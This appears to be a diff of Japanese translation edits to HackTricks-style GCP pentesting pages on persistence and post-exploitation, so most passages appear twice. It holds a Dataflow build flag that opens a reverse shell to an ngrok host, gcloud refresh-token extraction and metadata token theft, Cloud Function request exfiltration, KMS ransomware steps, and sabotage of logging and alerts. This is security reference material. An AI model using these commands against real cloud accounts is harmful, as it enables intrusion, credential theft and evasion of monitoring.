### ビルドされたコンテナ内の見えない永続性
### ビルドコンテナ内の見えない永続性
[**ドキュメントからのチュートリアル**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates)に従って、新しい(例:python)フレックステンプレートを作成できます:
```bash
@@ -36,9 +36,9 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1
```
**ビルド中に、リバースシェルを取得します**(前の例のように環境変数やDockerファイルを実行するための他のパラメータを悪用することができます)。この時点で、リバースシェル内で**`/template`ディレクトリに移動し、実行されるメインのPythonスクリプトのコードを修正することが可能です(この例では`getting_started.py`です)**。ここにバックドアを設定しておくと、ジョブが実行されるたびにそれ実行さます。
**ビルド中に、リバースシェルを取得します**(前の例のように環境変数やDockerファイルを実行するための他のパラメータを悪用することができます)。この時点で、リバースシェル内で**`/template`ディレクトリに移動し、実行されるメインのPythonスクリプトのコードを修正することが可能です(この例では`getting_started.py`です)**。ここにバックドアを設定して、ジョブが実行されるたびにそれ実行さます。
次に、ジョブが実行されると、コンプロマイズされたコンテナが実行されます:
次に、ジョブが実行されると、構築されたコンテナが実行されます:
```bash
# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
@@ -4,7 +4,7 @@
## Filestore
Filestoreに関する詳細情報は以下を確認してください:
Filestoreに関する詳細情報は以下を確認してください
{{#ref}}
../gcp-services/gcp-filestore-enum.md
@@ -12,7 +12,7 @@ Filestoreに関する詳細情報は以下を確認してください:
### マウントに対するより広範なアクセスと権限を付与する
攻撃者は**自分自身により多くの権限を与え、共有へのアクセスを容易にする**ことで、共有に対する持続性を維持することができます。このアクションを実行する方法はこのページで確認してください:
攻撃者は**自分自身により多くの権限を与え、共有へのアクセスを容易にする**ことで、共有に対する持続性を維持することができます。このアクションを実行する方法はこのページで確認してください
{{#ref}}
gcp-filestore-persistence.md
@@ -1,4 +1,4 @@
# GCP - Logging Persistence
# GCP - ロギングの永続性
{{#include ../../../banners/hacktricks-training.md}}
@@ -24,13 +24,13 @@ sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where
```bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
```
リフレッシュトークンの有効性は **Admin** > **Security** > **Google Cloud session control** で管理でき、デフォルトでは16時間に設定されていますが、期限切れないように設定することもできます:
リフレッシュトークンの有効性は**Admin** > **Security** > **Google Cloud session control** で管理でき、デフォルトでは16時間に設定されていますが、期限切れにならないように設定することもできます:
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
### Auth flow
### 認証フロー
`gcloud auth login` のようなものを使用する際の認証フローは、ブラウザプロンプトを開き、すべてのスコープを受け入れた後、ブラウザはツールによって開かれたhttpポートにこのようなリクエストを送信します:
`gcloud auth login` のようなものを使用する際の認証フローは、ブラウザプロンプトを表示し、すべてのスコープを受け入れた後、ブラウザはツールによって開かれたhttpポートにこのようなリクエストを送信します:
```
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
```
@@ -65,18 +65,18 @@ https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
```
興味深いのは、このアプリが**`drive`**スコープをサポートしていることで、攻撃者がユーザーにこのスコープでトークンを生成させることに成功すれば、GCPからWorkspaceにエスカレートできる可能性があることです。
このアプリが**`drive`**スコープをサポートしているのは興味深いことで、攻撃者がユーザーにこのスコープでトークンを生成させることに成功すれば、GCPからWorkspaceにエスカレートすることが可能になります。
**この方法を** [**ここで悪用する方法を確認してください**](../gcp-to-workspace-pivoting/#abusing-gcloud)**。**
**こちらで** [**この方法を悪用する方法を確認してください**](../gcp-to-workspace-pivoting/#abusing-gcloud)**。**
### サービスアカウント
認証されたユーザーと同様に、サービスアカウントの**プライベートキーのファイルを侵害することができれば、通常は好きなだけ**アクセスすることができます。\
しかし、サービスアカウントの**OAuthトークンを盗むことができれば、さらに興味深いことになります。デフォルトではこれらのトークンは通常1時間だけ有効ですが、**もし**被害者がプライベートAPIキーを削除した場合、OAuthトークンは期限が切れるまで有効です**。
認証されたユーザーと同様に、サービスアカウントの**プライベートキーのファイルを侵害することができれば、通常は好きなだけアクセスすることができます**。\
しかし、サービスアカウントの**OAuthトークンを盗むことができれば、さらに興味深いことになります。デフォルトではこれらのトークンは通常1時間だけ有効ですが、**被害者がプライベートAPIキーを削除しても、OAuthトークンは期限が切れるまで有効です**。
### メタデータ
明らかに、GCP環境で実行されているマシン内にいる限り、**メタデータエンドポイントに連絡することで、そのマシンに付随するサービスアカウントにアクセスできます**(このエンドポイントでアクセスできるOAuthトークンは通常スコープによって制限されていることに注意してください)。
明らかに、GCP環境で実行されているマシン内にいる限り、**メタデータエンドポイントに連絡することで、そのマシンに付随するサービスアカウントにアクセスすることができます**(このエンドポイントでアクセスできるOAuthトークンは通常スコープによって制限されていることに注意してください)。
### 修正策
@@ -12,10 +12,10 @@ Secret Managerに関する詳細情報は以下を参照してください:
### 回転の悪用
攻撃者は秘密を更新して以下を行うことができます:
攻撃者は秘密を次のように更新することができます:
- **回転を停止**して秘密が変更されないようにする
- **回転を非常に少なくする**ことで秘密が変更されないようにする
- **回転を停止する** ので、秘密が変更されません
- **回転をはるかに少なくする** ので、秘密が変更されません
- **回転メッセージを別のpub/subに公開する**
- **実行される回転コードを変更する。** これは別のサービス、恐らくCloud Functionで発生するため、攻撃者はCloud Functionまたは他のサービスに対する特権アクセスが必要です。
@@ -4,7 +4,7 @@
## ストレージ
Cloud Storageに関する詳細情報は以下を確認してください
Cloud Storageに関する詳細情報は以下を確認してください:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -4,7 +4,7 @@
## `App Engine`
App Engineに関する情報は以下を確認してください:
App Engineに関する情報はを確認してください:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,7 +12,7 @@ App Engineに関する情報は以下を確認してください:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
これらの権限を使用すると、以下が可能です:
これらの権限を使用すると、次のことが可能です:
- キーを追加
- キーをリスト
@@ -20,9 +20,9 @@ App Engineに関する情報は以下を確認してください:
- 削除
> [!CAUTION]
> しかし、私は**cliからこの情報にアクセスする方法見つけられませんでした**。**ウェブコンソール**からのみアクセス可能で、**キータイプ**と**キー名**を知っている必要があります。または、**アプリエンジンで実行中のアプリ**からです。
> しかし、**cliからこの情報にアクセスする方法見つかりませんでした**。**ウェブコンソール**からのみアクセス可能で、**キータイプ**と**キー名**を知っている必要があります。または、**アプリエンジンで実行中のアプリ**からです。
>
> これらの権限を使用する簡単な方法を知っている場合は、プルリクエストを送てください
> これらの権限を使用する簡単な方法を知っている場合は、プルリクエストを送信してください!
### `logging.views.access`
@@ -30,11 +30,11 @@ App Engineに関する情報は以下を確認してください:
```bash
gcloud app logs tail -s <name>
```
### ソースコードの読み取り
### ソースコードを読む
すべてのバージョンとサービスのソースコードは、**`staging.<proj-id>.appspot.com`**という名前の**バケット**に**保存されています**。書き込みアクセスがある場合、ソースコードを読み取り、**脆弱性**や**機密情報**を検索できます。
すべてのバージョンとサービスのソースコードは、**`staging.<proj-id>.appspot.com`**という名前の**バケット**に**保存されています**。書き込みアクセスがあれば、ソースコードを読み、**脆弱性**や**機密情報**を探すことができます。
### ソースコード変更
### ソースコード変更する
資格情報が送信されている場合はそれを盗むためにソースコードを変更するか、改ざんウェブ攻撃を実行します。
@@ -1,18 +1,18 @@
# GCP - アーティファクトレジストリのポストエクスプロイ
# GCP - アーティファクト レジストリのポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
## アーティファクトレジストリ
## アーティファクト レジストリ
アーティファクトレジストリに関する詳細情報は、以下を確認してください
アーティファクト レジストリに関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-artifact-registry-enum.md
{{#endref}}
### プライベスカ
### プライベートエスカレーション
アーティファクトレジストリのポストエクスプロイトとプライベスカの技術は以下に混在しています
アーティファクト レジストリのポストエクスプロイテーションとプライベートエスカレーションの技術は以下に混在しています:
{{#ref}}
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
@@ -4,7 +4,7 @@
## Cloud Build
Cloud Buildに関する詳細情報は、以下を確認してください
Cloud Buildに関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
@@ -12,7 +12,7 @@ Cloud Buildに関する詳細情報は、以下を確認してください:
### `cloudbuild.builds.approve`
この権限を使用すると、**承認が必要なコードビルドの実行を承認**できます。
この権限を使用すると、**承認が必要なcodebuildの実行を承認**できます。
```bash
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
curl -X POST \
@@ -4,7 +4,7 @@
## Cloud Functions
Cloud Functionsに関する情報を見つけるには、以下を参照してください
Cloud Functionsに関する情報を見つけるには、以下を参照してください:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,7 +12,7 @@ Cloud Functionsに関する情報を見つけるには、以下を参照して
### `cloudfunctions.functions.sourceCodeGet`
この権限を使用すると、Cloud Functionの**ソースコードをダウンロードするための署名付きURLを取得できます**
この権限を使用すると、Cloud Functionの**ソースコードをダウンロードするための署名付きURLを取得**できます:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
@@ -21,9 +21,9 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
```
### Cloud Functionリクエストの盗難
Cloud Functionがユーザーが送信る機密情報(例:パスワードやトークン)を管理している場合、十分な権限があれば、**関数のソースコードを変更してこの情報を外部に流出させる**ことができます。
Cloud Functionがユーザーが送信している機密情報(例:パスワードやトークン)を管理している場合、十分な権限があれば、**関数のソースコードを変更してこの情報を外部に流出させる**ことができます。
さらに、pythonで実行されるCloud Functionsは、**flask**を使用してウェブサーバーを公開します。もし、flaksプロセス内にコードインジェクションの脆弱性(例えばSSTI脆弱性)を見つけた場合、**HTTPリクエストを受け取る関数ハンドラーを上書きする**ことが可能で、**リクエストを外部に流出させる悪意のある関数**に置き換えることができます。
さらに、Pythonで実行されているCloud Functionsは、**flask**を使用してウェブサーバーを公開しています。もし、flaksプロセス内にコードインジェクションの脆弱性(例えばSSTI脆弱性)を見つけた場合、HTTPリクエストを受け取るための**悪意のある関数**に**関数ハンドラーをオーバーライド**することが可能であり、その関数はリクエストを正当なハンドラーに渡す前に**リクエストを外部に流出させる**ことができます。
例えば、このコードは攻撃を実装しています:
```python
@@ -52,7 +52,6 @@ else:
return "Hello World!"
# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
@@ -1,10 +1,10 @@
# GCP - Cloud Run Post Exploitation
# GCP - Cloud Run ポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Run
Cloud Runに関する詳細情報は、以下を確認してください
Cloud Run に関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -14,10 +14,10 @@ Cloud Runに関する詳細情報は、以下を確認してください:
コンテナ画像にアクセスできる場合は、脆弱性やハードコーディングされた機密情報のコードを確認してください。また、環境変数内の機密情報も確認してください。
画像がサービスのArtifact Registry内のリポジトリに保存されており、ユーザーがリポジトリに対して読み取りアクセスを持っている場合、彼はこのサービスから画像をダウンロードすることもできます。
画像がサービスの Artifact Registry 内のリポジトリに保存されており、ユーザーがリポジトリに対して読み取りアクセスを持っている場合、彼はこのサービスから画像をダウンロードすることもできます。
### 画像を変更して再デプロイする
情報を盗むために実行画像を変更し、新しいバージョンを再デプロイします(同じタグの新しいDockerコンテナをアップロードするだけでは実行されません)。例えば、ログインページを公開している場合、ユーザーが送信している資格情報を盗ます。
情報を盗むために実行画像を変更し、新しいバージョンを再デプロイします(同じタグの新しい Docker コンテナをアップロードするだけでは実行されません)。例えば、ログインページを公開している場合、ユーザーが送信している資格情報を盗むことができます。
{{#include ../../../banners/hacktricks-training.md}}
@@ -27,7 +27,7 @@ wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/compute
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
以下のスコープで
のスコープで:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -45,11 +45,11 @@ sh linpeas.sh -o cloud
### プロキシとして使用する
Google Cloud Shellインスタンスをプロキシとして使用したい場合は、以下のコマンドを実行する必要があります(または.bashrcファイルに挿入します):
Google Cloud Shellインスタンスをプロキシとして使用する場合は、以下のコマンドを実行する必要があります(または.bashrcファイルに挿入します):
```bash
sudo apt install -y squid
```
Just for let you know Squid is a http proxy server. Create a **squid.conf** ファイルに次の設定を追加します:
**squid.conf** ファイルを以下の設定で作成します:
```bash
http_port 3128
cache_dir /var/cache/squid 100 16 256
@@ -64,7 +64,7 @@ sudo cp squid.conf /etc/squid
```bash
sudo service squid start
```
ngrokを使用してプロキシを外部から利用可能にします
ngrokを使用してプロキシを外部から利用可能にします:
```bash
./ngrok tcp 3128
```
@@ -77,6 +77,6 @@ sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128
```
指示は[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)からコピーされました。そのページでCloud Shellであらゆる種類のソフトウェア(データベースやWindowsさえも)を実行するための他のクレイジーなアイデアを確認してください。
指示は[https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)からコピーされました。そのページでCloud Shellであらゆる種類のソフトウェア(データベースやWindowsさえも)を実行するための他のクレイジーなアイデアを確認してください。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud SQL
Cloud SQLに関する詳細情報は、以下を確認してください
Cloud SQLに関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
@@ -37,7 +37,7 @@ gcloud sql users list --instance <intance-name>
```
### `cloudsql.users.create`
この権限は**データベース内に新しいユーザーを作成する**ことを許可します:
この権限は**データベース内に新しいユーザーを作成する**ことを許可します:
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
@@ -50,11 +50,11 @@ gcloud sql users set-password <username> --instance <instance-name> --password <
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
バックアップには**古い機密情報**が含まれている可能性があるため、確認することが興味深いです。\
データベース内で**バックアップを復元**します:
**データベース内バックアップを復元**します:
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
よりステルスな方法で行うには、現在稼働中のデータベースではなく、新しいSQLインスタンスを作成し、そこデータを復元することをお勧めします。
よりステルスな方法で行うには、新しいSQLインスタンスを作成し、現在稼働中のデータベースではなく、そこデータを復元することをお勧めします。
### `cloudsql.backupRuns.delete`
@@ -71,7 +71,7 @@ gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
### `cloudsql.instances.import`, `storage.objects.get`
**データベースをインポート**(上書き)する Cloud Storage バケットから:
**Cloud Storage バケットからデータベースをインポート**(上書き):
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
@@ -4,37 +4,37 @@
## コンピュート
コンピュートとVPCネットワーキングに関する詳細情報は、以下を確認してください
Compute と VPC (ネットワーキング) に関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}
### 画像をローカルにエクスポートおよび検査
### 画像をローカルにエクスポートおよび検査する
これにより、攻撃者は**既存の画像に含まれるデータにアクセス**したり、**実行中のVMの新しい画像を作成**して、そのデータにアクセスすることができます。実行中のVMにアクセスすることなく。
これにより、攻撃者は**既存の画像に含まれるデータにアクセス**したり、**実行中の VM の新しい画像を作成**して、そのデータにアクセスすることができます。実行中の VM にアクセスすることなく。
VM画像をバケットにエクスポートし、その後ダウンロードしてローカルにマウントすることが可能です。コマンドは次の通りです:
VM 画像をバケットにエクスポートし、その後ダウンロードしてローカルにマウントすることが可能です。
```bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
攻撃者がこのアクションを実行するには、ストレージバケットに対する権限が必要であり、確実に**cloudbuildに対する権限**が必要です。これは、エクスポートを実行するように求められる**サービス**です。\
このアクションを実行するには、攻撃者はストレージバケットに対する権限が必要であり、確実に**cloudbuildに対する権限**が必要です。これは**サービス**であり、エクスポートを実行するように求められす。\
さらに、これが機能するためには、codebuild SAとcompute SAが特権的な権限を持っている必要があります。\
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` は以下が必要です:
cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` は以下の権限が必要です:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
そして、SA `<project-id>-compute@developer.gserviceaccount.com` は以下が必要です:
そして、SA `<project-id>-compute@developer.gserviceaccount.com` は以下の権限が必要です:
- roles/compute.storageAdmin
- roles/storage.objectAdmin
### スナップショットとディスクをローカルにエクスポートおよび検査する
スナップショットとディスクを直接エクスポートすることはできませんが、**スナップショットをディスクに変換し、ディスクをイメージに変換する**こと可能であり、**前のセクション**に従って、そのイメージをエクスポートしてローカルで検査することができます。
スナップショットとディスクを直接エクスポートすることはできませんが、**スナップショットをディスクに変換し、ディスクをイメージに変換する**こと可能であり、**前のセクション**に従って、そのイメージをエクスポートしてローカルで検査することができます。
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -42,22 +42,22 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
### VMを作成してイメージを検査する
### VMを作成して画像を検査する
攻撃者が**イメージを作成した**場所から**イメージに保存されたデータ**や**実行中のVM**にアクセスすることを目的として、外部アカウントにイメージへのアクセスを付与することが可能です:
攻撃者が**画像を作成した**場所から**画像に保存されたデータ**や**実行中のVM**にアクセスすることを目的として、外部アカウントに画像へのアクセスを付与することが可能です:
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
して、それから新しいVMを作成します:
それから、それを元に新しいVMを作成します:
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
もし画像に対して外部アカウントのアクセスを与えられなかった場合、被害者のプロジェクトでその画像を使用してVMを起動し、**メタデータにリバースシェルを実行させる**ことで画像にアクセスすることができます。パラメータを追加して:
外部アカウントに画像を介してアクセスを許可できない場合、被害者のプロジェクトでその画像を使用してVMを起動し、**メタデータにリバースシェルを実行させる**ことで、パラメータを追加して画像にアクセスできます。
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'
@@ -72,35 +72,35 @@ gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
**インスタンスにディスクをアタッチ**する:
**インスタンスにディスクをアタッチする**:
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
VM内にディスクをマウントす
VM内にディスクをマウントします:
1. **VMにSSH接続する**
1. **VMにSSH接続**
```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```
2. **ディスクを特定する**:VM内に入ったら、ディスクデバイスをリストして新しいディスクを特定します。通常、`/dev/sdb``/dev/sdc`などとして見つけることができます。
3. **ディスクをフォーマットしてマウントする**(新しいまたは生のディスクの場合):
2. **ディスクを特定**:VM内に入ったら、ディスクデバイスをリストして新しいディスクを特定します。通常、`/dev/sdb``/dev/sdc`などとして見つけることができます。
3. **ディスクをフォーマットしてマウント**(新しいまたは生のディスクの場合):
- マウントポイントを作成する
- マウントポイントを作成:
```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```
- ディスクをマウントする
- ディスクをマウント:
```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
もし**スナップショットディスクに外部プロジェクトへのアクセスを与えることができない場合**、**スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらの操作を実行する必要があるかもしれません**。
外部プロジェクトにスナップショットまたはディスクへのアクセスを**与えることができない場合**、スナップショット/ディスクと同じプロジェクト内のインスタンスでこれらのアクションを**実行する必要があるかもしれません**。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Filestore
Filestoreに関する詳細情報は、以下を確認してください
Filestoreに関する詳細情報は、以下を確認してください:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
@@ -12,7 +12,7 @@ Filestoreに関する詳細情報は、以下を確認してください:
### Mount Filestore
共有ファイルシステムは**攻撃者の視点から興味深い機密情報を含む可能性があります**。Filestoreにアクセスすることで、**マウントすることが可能です**
共有ファイルシステムは**攻撃者の視点から興味深い機密情報を含む可能性があります**。Filestoreにアクセスすることで、**マウントする**ことが可能です:
```bash
sudo apt-get update
sudo apt-get install nfs-common
@@ -58,7 +58,7 @@ gcloud filestore instances update nfstest \
```
### バックアップの復元
バックアップがある場合、既存のインスタンスまたは新しいインスタンスに**復元する**ことが可能で、その**情報にアクセスできるようになります:**
バックアップがある場合、既存のインスタンスまたは新しいインスタンスに**復元する**ことがで、その**情報にアクセス可能になります:**
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create <new-instance-name> \
@@ -4,7 +4,7 @@
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
IAMに関するさらなる情報は以下で確認できます:
IAMに関する詳細情報は以下で確認できます:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,16 +12,16 @@ IAMに関するさらなる情報は以下で確認できます:
### 管理コンソールへのアクセスの付与 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
[GCP管理コンソール](https://console.cloud.google.com)へのアクセスは**サービスアカウントではなくユーザーアカウントに提供されます**。ウェブインターフェースにログインするには、**あなたが管理するGoogleアカウントにアクセスを付与する必要があります**。これは一般的な"**@gmail.com**"アカウントであり、**ターゲット組織のメンバーである必要はありません**。
[GCP管理コンソール](https://console.cloud.google.com)へのアクセスは**サービスアカウントではなくユーザーアカウントに提供されます**。ウェブインターフェースにログインするには、**あなたが管理するGoogleアカウントにアクセスを付与することができます**。これは一般的な"**@gmail.com**"アカウントであり、**ターゲット組織のメンバーである必要はありません**。
ただし、一般的な"@gmail.com"アカウントに**Owner**のプリミティブロールを**付与する**には、**ウェブコンソールを使用する必要があります**。`gcloud`を使用してEditor以上の権限を付与しようとするとエラーが発生します。
ただし、一般的な"@gmail.com"アカウントに**Owner**のプリミティブロールを**付与**するには、**ウェブコンソールを使用する必要があります**。`gcloud`を使用してEditor以上の権限を付与しようとするとエラーが発生します。
次のコマンドを使用して、既存のプロジェクトに**ユーザーにEditorのプリミティブロールを付与する**ことができます:
次のコマンドを使用して、既存のプロジェクトに**ユーザーにEditorのプリミティブロールを付与**できます:
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
ここで成功した場合は、**ウェブインターフェースにアクセス**して、そこから探索してみてください。
これは**gcloudツールを使用して割り当てることができる最高レベル**です。
これは**gcloudツールを使用して割り当てることができる最高レベル**です。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## KMS
KMSに関する基本情報は以下で確認できます
KMSに関する基本情報は以下を参照してください
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,7 +12,7 @@ KMSに関する基本情報は以下で確認できます:
### `cloudkms.cryptoKeyVersions.destroy`
この権限を持つ攻撃者はKMSバージョンを破壊することができます。これを行うには、まずキーを無効にし、その後破壊する必要があります:
この権限を持つ攻撃者はKMSバージョンを破壊することができます。これを行うには、まずキーを無効にし、その後破壊する必要があります:
```python
# pip install google-cloud-kms
@@ -59,11 +59,11 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```
### KMS ランサムウェア
AWSでは、KMSリソースポリシーを変更して攻撃者のアカウントのみがキーを使用できるようにすることで、KMSキーを完全に**盗む**ことが可能です。GCPにはこのリソースポリシーが存在しないため、これは不可能です。
AWSでは、KMSリソースポリシーを変更して攻撃者のアカウントのみがキーを使用できるようにすることで、KMSキーを完全に**盗む**ことが可能です。GCPにはこのようなリソースポリシーが存在しないため、これは不可能です。
しかし、グローバルKMSランサムウェアを実行する別の方法があります。れには以下のステップが含まれます:
しかし、グローバルKMSランサムウェアを実行する別の方法があります。れには以下のステップが含まれます:
- 攻撃者によってインポートされたキー素材を使用して**キーの新しいバージョンを作成**する
- 攻撃者によってインポートされたキー素材を持つ**新しいキーのバージョンを作成する**
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
@@ -1,4 +1,4 @@
# GCP - Logging Post Exploitation
# GCP - ロギングのポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
@@ -16,9 +16,9 @@
gcp-monitoring-post-exploitation.md
{{#endref}}
### デフォルトのログ
### デフォルトのロギン
**デフォルトでは、読み取りアクションを実行するだけでは捕まることはありません。詳細については、Logging Enumセクションを確認してください。**
**デフォルトでは、読み取りアクションを実行するだけでは捕まることはありません。詳細については、ロギング列挙セクションを確認してください。**
### 除外されたプリンシパルの追加
@@ -4,13 +4,13 @@
## モニタリング
詳細については、以下を確認してください:
詳細については、を確認してください:
{{#ref}}
../gcp-services/gcp-monitoring-enum.md
{{#endref}}
ログを妨害する他の方法については、以下を確認してください:
ログを妨害する他の方法については、を確認してください:
{{#ref}}
gcp-logging-post-exploitation.md
@@ -72,7 +72,7 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
```
### `monitoring.snoozes.update`
攻撃者が興味を持っているときにアラートが作成されないように、スヌーのタイミングを更新します:
攻撃者が興味を持っているときにアラートが作成されないように、スヌーザーのタイミングを更新します:
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
@@ -82,14 +82,14 @@ gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
```
### `monitoring.notificationChannels.delete`
設定されたチャネルを削除します:
構成されたチャネルを削除します:
```bash
# Delete channel
gcloud alpha monitoring channels delete <channel>
```
### `monitoring.notificationChannels.update`
チャネルのラベルを更新して中断します
チャネルのラベルを更新して中断します:
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
@@ -12,7 +12,7 @@ Pub/Subに関する詳細情報は、以下のページを確認してくださ
### `pubsub.topics.publish`
トピックにメッセージを公開します。**予期しないデータを送信**し、予期しない機能をトリガーしたり、脆弱性を悪用するのに役立ちます:
トピックにメッセージを公開します。これは、**予期しないデータを送信**し、予期しない機能をトリガーしたり、脆弱性を悪用するのに役立ちます:
```bash
# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"
@@ -45,7 +45,7 @@ gcloud pubsub topics delete <TOPIC NAME>
# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
```
サブスクリプションを作成し、それを使用して**メッセージをプル**します
サブスクリプションを作成し、**メッセージをプル**するために使用します:
```bash
# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
@@ -56,7 +56,7 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
```
### `pubsub.subscriptions.delete`
**サブスクリプションを削除する** は、ログ処理システムやそれに類似したものを妨害するのに役立つかもしれません:
**サブスクリプションを削除する** は、ログ処理システムやそれに類似するものを妨害するのに役立つ可能性があります:
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
@@ -68,7 +68,7 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
```
### `pubsub.subscriptions.setIamPolicy`
